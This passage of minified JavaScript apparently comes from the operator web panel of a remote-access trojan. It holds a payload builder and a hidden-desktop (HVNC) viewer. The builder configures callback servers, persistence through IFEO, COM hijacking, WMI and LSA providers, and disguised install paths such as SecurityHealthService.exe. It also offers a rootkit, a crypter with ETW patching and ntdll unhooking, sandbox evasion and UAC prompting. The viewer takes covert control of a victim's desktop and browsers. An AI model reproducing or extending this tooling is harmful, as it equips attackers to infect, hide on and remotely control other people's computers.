Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function wV(){const{isAdmin:e}=ya(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(!1),[l,c]=m.useState(0),[u,d]=m.useState(0),[f,p]=m.useState(""),[h,x]=m.useState(""),g=m.useSyncExternalStore(Tj,Oj),y=g.status==="building",[v,b]=m.useState(Hb),[w,j]=m.useState([""]),[N,k]=m.useState("30"),[z,S]=m.useState("25"),[O,A]=m.useState(""),[T,P]=m.useState(Vb),[D,G]=m.useState(!1),[R,K]=m.useState("exe"),[_,M]=m.useState(0),[F,U]=m.useState(!0),[V,Z]=m.useState(!0),[ae,ue]=m.useState(!0),[be,ye]=m.useState(!0),[q,te]=m.useState(1),[C,Y]=m.useState("Microsoft\\WindowsUpdate"),[ne,B]=m.useState("SecurityHealthService.exe"),[le,we]=m.useState(null),Ne=m.useCallback(async()=>{try{const H=await i6();n(H)}catch{}finally{i(!1)}},[]);m.useEffect(()=>{Ne(),a6().then(H=>{j(se=>se.length===1&&se[0]===""?[H.default_callback_url]:se)}).catch(()=>{})},[Ne]),m.useEffect(()=>{if(!y||!g.startedAt){c(0),d(0);return}const H=setInterval(()=>{const W=Math.floor((Date.now()-g.startedAt)/1e3);d(W);const Q=Math.min(95,Math.floor(100*(1-Math.exp(-W/50))));c(Q)},500),se=Math.floor((Date.now()-g.startedAt)/1e3);return d(se),c(Math.min(95,Math.floor(100*(1-Math.exp(-se/50))))),()=>clearInterval(H)},[y,g.startedAt]),m.useEffect(()=>{y&&o(!0)},[]),m.useEffect(()=>{g.status==="success"?(x(`Payload "${g.payloadName}" built successfully`),o(!1),sy(),Ne()):g.status==="error"&&(p(g.error||"Failed to build payload"),sy())},[g.status]),m.useEffect(()=>{if(!h)return;const H=setTimeout(()=>x(""),4e3);return()=>clearTimeout(H)},[h]);function Ae(){b(Hb()),k("30"),S("25"),A(""),P(Vb),G(!1),K("exe"),M(0),U(!0),Z(!0),ue(!0),ye(!0),te(1),Y("Microsoft\\WindowsUpdate"),B("SecurityHealthService.exe")}async function $(H){H.preventDefault(),p("");const se=w.filter(he=>he.trim()!=="");let W=0;O&&(W=Math.floor(new Date(O).getTime()/1e3));const Q={name:v.trim(),callback_urls:se,sleep_interval:parseInt(N,10)||30,jitter_percent:parseInt(z,10)||25,kill_date:W,user_agent:T.trim(),output_format:R,debug:D,persist_methods:_||void 0,rootkit_enabled:F,encryption_enabled:V,anti_vm:ae,auto_elevate:be,install_dir:q,install_subdir:C,install_filename:ne};q6(Q.name);try{await r6(Q),X6(),Ae()}catch(he){he instanceof bi?ay(he.message):ay("Failed to build payload")}}async function fe(H){const se=st();if(!se){p("Not authenticated");return}try{const W=await fetch(`/api/payloads/${H.payload_id}/download`,{headers:{Authorization:`Bearer ${se}`}});if(!W.ok){p("Download failed");return}const Q=await W.blob(),he=URL.createObjectURL(Q),E=document.createElement("a");E.href=he;const ce=W.headers.get("content-disposition"),J=ce==null?void 0:ce.match(/filename="(.+?)"/);E.download=(J==null?void 0:J[1])||`${H.name||"payload"}.exe`,document.body.appendChild(E),E.click(),document.body.removeChild(E),URL.revokeObjectURL(he)}catch{p("Download failed")}}async function ve(H){try{await s6(H),we(null),Ne()}catch{p("Failed to delete payload")}}return a.jsxs("div",{className:"p-6",children:[a.jsxs("div",{className:"flex items-center justify-between mb-6",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),a.jsx("button",{onClick:()=>{o(!s),p("")},className:` + text-sm font-medium px-4 py-2 transition-all duration-150 + ${s?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} + `,children:s?"Cancel":"+ Build Agent"})]}),h&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:h}),s&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),f&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:f}),a.jsxs("form",{onSubmit:$,className:"space-y-4",children:[a.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[a.jsx(ir,{label:"Payload Name",children:a.jsx("input",{type:"text",value:v,onChange:H=>b(H.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),a.jsx(ir,{label:"Output Format",children:a.jsxs("select",{value:R,onChange:H=>{const se=H.target.value;K(se),se==="exe"&&M(W=>W&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:"exe",children:"EXE"}),a.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),a.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[a.jsx(ir,{label:"Sleep Interval (seconds)",children:a.jsx("input",{type:"number",value:N,onChange:H=>k(H.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),a.jsx(ir,{label:`Jitter (${z}%)`,children:a.jsx("input",{type:"range",value:z,onChange:H=>S(H.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r + [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r + [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r + [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r + [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),a.jsx(ir,{label:"Kill Date",children:a.jsx("input",{type:"datetime-local",value:O,onChange:H=>A(H.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [color-scheme:dark]`})})]}),a.jsx(ir,{label:"User Agent",children:a.jsx("input",{type:"text",value:T,onChange:H=>P(H.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),e&&a.jsx(ir,{label:"Callback URLs",children:a.jsxs("div",{className:"space-y-2",children:[w.map((H,se)=>a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{type:"text",value:H,onChange:W=>{const Q=[...w];Q[se]=W.target.value,j(Q)},placeholder:"https://1.2.3.4:8443",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),w.length>1&&a.jsx("button",{type:"button",onClick:()=>j(w.filter((W,Q)=>Q!==se)),className:"px-2 text-zerin-text-muted hover:text-zerin-danger transition-colors",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},se)),a.jsx("button",{type:"button",onClick:()=>j([...w,""]),className:"text-xs text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"+ Add URL"})]})}),a.jsx(ir,{label:"Auto-Persistence (installed on first run)",children:a.jsx("div",{className:"grid grid-cols-3 gap-2",children:bV.map(H=>{const se=H.dllOnly&&R==="exe";return a.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors + ${se?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[a.jsx("input",{type:"checkbox",checked:(_&H.flag)!==0,disabled:se,onChange:W=>{M(W.target.checked?_|H.flag:_&~H.flag)},className:"accent-zerin-accent"}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:H.label}),H.admin&&a.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),se&&a.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},H.flag)})})}),a.jsx(ir,{label:"Install Location (self-copy target)",children:a.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),a.jsxs("select",{value:q,onChange:H=>te(parseInt(H.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:0,children:"%TEMP%"}),a.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),a.jsx("option",{value:2,children:"%APPDATA%"}),a.jsx("option",{value:3,children:"%PROGRAMDATA%"}),a.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),a.jsx("input",{type:"text",value:C,onChange:H=>Y(H.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),a.jsx("input",{type:"text",value:ne,onChange:H=>B(H.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]})]})}),a.jsxs(ir,{label:"Evasion",children:[a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("input",{type:"checkbox",checked:F,onChange:H=>U(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:V,onChange:H=>Z(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),a.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 + ${V?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[a.jsx("input",{type:"checkbox",checked:ae,disabled:!V,onChange:H=>ue(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:be,onChange:H=>ye(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),a.jsxs("div",{className:"flex items-center justify-between pt-2",children:[a.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[a.jsx("div",{onClick:()=>G(!D),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer + ${D?"bg-zerin-accent":"bg-zinc-700"}`,children:a.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 + ${D?"translate-x-4":"translate-x-0"}`})}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),a.jsxs("div",{className:"flex gap-3",children:[a.jsx("button",{type:"button",onClick:()=>{o(!1),p("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),a.jsxs("button",{type:"submit",disabled:y,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r + px-5 py-2 transition-all duration-150\r + disabled:opacity-50 disabled:cursor-not-allowed\r + flex items-center gap-2`,children:[y&&a.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),y?"Building...":"Build"]})]}),y&&a.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[a.jsx("span",{children:(Kb.filter(H=>H.at<=l).pop()??Kb[0]).label}),a.jsxs("span",{className:"font-mono tabular-nums",children:[u,"s"]})]}),a.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${l}%`}})}),a.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):t.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!s&&a.jsx("button",{onClick:()=>o(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),a.jsx("div",{children:t.map(H=>{let se={};try{se=JSON.parse(H.config_json)}catch{}return a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[a.jsx("div",{children:a.jsx("span",{className:"text-sm font-medium text-zerin-text",children:H.name})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[se.sleep_interval??"—","s"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[se.jitter_percent??"—","%"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:H.agent_pubkey,children:[(H.agent_pubkey??"").slice(0,16),"..."]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-dim",children:H.built_by})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:Lo(H.built_at)})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:Mp(H.file_size)})}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>fe(H),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),le===H.payload_id?a.jsxs("div",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>ve(H.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),a.jsx("button",{onClick:()=>we(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):a.jsx("button",{onClick:()=>we(H.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},H.payload_id)})})]}),a.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function ir({label:e,children:t}){return a.jsxs("div",{children:[a.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const jV=[{label:"Explorer",cmd:"explorer.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("circle",{cx:"12",cy:"12",r:"10"}),a.jsx("circle",{cx:"12",cy:"12",r:"4"}),a.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),a.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),a.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function NV(){const{id:e}=il(),[t]=Cx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=m.useRef(null),s=m.useRef(null),o=m.useRef(null),l=m.useRef(null),c=m.useRef(null),u=m.useRef({x:-1,y:-1}),d=m.useRef(null),f=m.useRef(0),[p,h]=m.useState(!0),[x,g]=m.useState(!0),[y,v]=m.useState(!1),[b,w]=m.useState(60),[j,N]=m.useState(20),[k,z]=m.useState(0),[S,O]=m.useState({w:0,h:0}),[,A]=m.useState(""),[T,P]=m.useState(null),[D,G]=m.useState(!1),[R,K]=m.useState(!1),_=m.useRef(!1),[M,F]=m.useState({w:0,h:0});m.useEffect(()=>{const W=l.current;if(!W)return;const Q=new ResizeObserver(he=>{const E=he[0];E&&F({w:E.contentRect.width,h:E.contentRect.height})});return Q.observe(W),()=>Q.disconnect()},[]);const U=m.useMemo(()=>{if(S.w<=0||S.h<=0||M.w<=0||M.h<=0)return null;const W=Math.min(M.w/S.w,M.h/S.h);return{width:Math.floor(S.w*W),height:Math.floor(S.h*W)}},[S,M]),V=m.useRef({x:0,y:0,w:0,h:0}),Z=m.useRef(null),ae=m.useCallback((W,Q)=>{const he=s.current;if(!he)return;Z.current||(Z.current=he.getContext("2d"));const E=Z.current;if(!E)return;const ce=V.current;if(ce.w>0&&E.clearRect(ce.x,ce.y,ce.w,ce.h),W<0||Q<0){V.current={x:0,y:0,w:0,h:0};return}V.current={x:W-1,y:Q-1,w:16,h:24},E.save(),E.beginPath(),E.moveTo(W,Q),E.lineTo(W,Q+18),E.lineTo(W+5,Q+14),E.lineTo(W+9,Q+21),E.lineTo(W+12,Q+20),E.lineTo(W+8,Q+13),E.lineTo(W+13,Q+12),E.closePath(),E.fillStyle="white",E.fill(),E.strokeStyle="black",E.lineWidth=1,E.stroke(),E.restore()},[]),ue=m.useCallback((W,Q)=>{const he=s.current;if(!he)return;const E=he.getContext("2d");E&&(E.save(),E.beginPath(),E.arc(W,Q,12,0,Math.PI*2),E.strokeStyle="rgba(6, 182, 212, 0.7)",E.lineWidth=2,E.stroke(),E.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{ae(u.current.x,u.current.y)},150))},[ae]),be=m.useCallback((W,Q,he,E,ce)=>{_.current||(_.current=!0,K(!0)),O({w:Q,h:he});const J=i.current;if(!J)return;const xe=J.getContext("2d");if(!xe)return;(J.width!==Q||J.height!==he)&&(J.width=Q,J.height=he);const ke=s.current;if(ke&&(ke.width!==Q||ke.height!==he)&&(ke.width=Q,ke.height=he,Z.current=null),typeof W=="string"){const ze=c.current||new Image;c.current=ze,ze.onload=()=>{xe.drawImage(ze,0,0)},ze.src=W}else W instanceof ImageBitmap?(xe.drawImage(W,0,0),W.close()):xe.drawImage(W,0,0)},[r]),ye=m.useCallback(()=>{},[]),{isConnected:q,stats:te,controls:C,connect:Y,disconnect:ne}=kv({agentId:e||"",mode:n,onFrame:be,onDisconnect:ye});m.useEffect(()=>{e&&Y()},[e,Y]);const B=m.useCallback(W=>{const Q=s.current,he=i.current;if(!Q||!he||S.w===0)return{x:0,y:0};const E=Q.getBoundingClientRect(),ce=he.width/E.width,J=he.height/E.height;return{x:Math.min(Math.max(Math.round((W.clientX-E.left)*ce),0),he.width-1),y:Math.min(Math.max(Math.round((W.clientY-E.top)*J),0),he.height-1)}},[S]),le=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W);u.current={x:Q,y:he};const E=performance.now();E-f.current>=33&&(f.current=E,C.sendMouseMove(Q,he)),ae(Q,he)},[p,y,B,C,ae]),we=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W);C.sendMouseButton(W.button,1,Q,he),ue(Q,he)},[p,y,B,C,ue]),Ne=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W);C.sendMouseButton(W.button,0,Q,he)},[p,y,B,C]),Ae=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W),E=W.deltaY>0?-120:120;C.sendMouseScroll(E,Q,he)},[p,y,B,C]);m.useEffect(()=>{if(!x||y)return;const W=(E,ce)=>{E.preventDefault(),E.stopPropagation();const J=E.keyCode||0;C.sendKey(ce,J,0)},Q=E=>W(E,1),he=E=>W(E,0);return window.addEventListener("keydown",Q,!0),window.addEventListener("keyup",he,!0),()=>{window.removeEventListener("keydown",Q,!0),window.removeEventListener("keyup",he,!0)}},[x,y,C]),m.useEffect(()=>{C.setViewOnly(y)},[y,C]);const $=m.useCallback(W=>{w(W),C.setQuality(W)},[C]),fe=m.useCallback(async()=>{try{const W=await navigator.clipboard.readText();W&&C.sendClipboard(W)}catch{}},[C]),ve=m.useCallback(()=>{var W,Q;(Q=(W=o.current)==null?void 0:W.requestFullscreen)==null||Q.call(W)},[]),H=m.useCallback(async()=>{if(ne(),e)try{r?await l6(e):await o6(e)}catch{}window.close()},[e,ne,r]),se=m.useCallback(async W=>{if(!(!e||!W.trim())){P(null);try{await c6(e,W.trim(),D),P(`Launched ${W.trim()}${D?" (hijack)":""}`),A(""),setTimeout(()=>P(null),3e3)}catch(Q){P(`Failed: ${Q instanceof Error?Q.message:"unknown"}`)}}},[e,D]);return a.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.frameCount})," frames"]}),te.totalTiles>0&&a.jsxs(a.Fragment,{children:[a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.dirtyTiles}),"/",te.totalTiles," 